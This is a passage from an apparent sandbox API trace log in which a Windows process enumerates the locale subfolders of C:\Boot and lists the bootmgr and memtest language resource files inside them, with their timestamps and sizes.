ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0134.731] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0134.731] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0134.732] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0134.732] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0134.732] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.732] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.732] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.732] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.732] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0134.732] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0134.732] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0134.732] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0134.743] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.746] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.746] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0134.747] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0134.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0134.747] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0134.747] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69afc8 [0134.748] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.748] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.748] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.748] FindNextFileW (in: hFindFile=0x69afc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0134.748] FindClose (in: hFindFile=0x69afc8 | out: hFindFile=0x69afc8) returned 1 [0134.748] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0134.748] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0134.748] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ab88 [0134.749] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.779] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.779] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0134.779] FindNextFileW (in: hFindFile=0x69ab88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.064] FindClose (in: hFindFile=0x69ab88 | out: hFindFile=0x69ab88) returned 1 [0135.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0135.065] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0135.065] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.065] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.065] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.065] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.065] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.065] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.065] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.065] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0135.065] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b2c8 [0135.065] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69b2c8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.066] FindClose (in: hFindFile=0x69b2c8 | out: hFindFile=0x69b2c8) returned 1 [0135.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0135.066] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69abc8 [0135.066] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69abc8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0135.066] FindClose (in: hFindFile=0x69abc8 | out: hFindFile=0x69abc8) returned 1 [0135.066] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d70078 | out: hHeap=0x5a0000) returned 1 [0135.066] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0135.066] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0135.067] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.067] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, 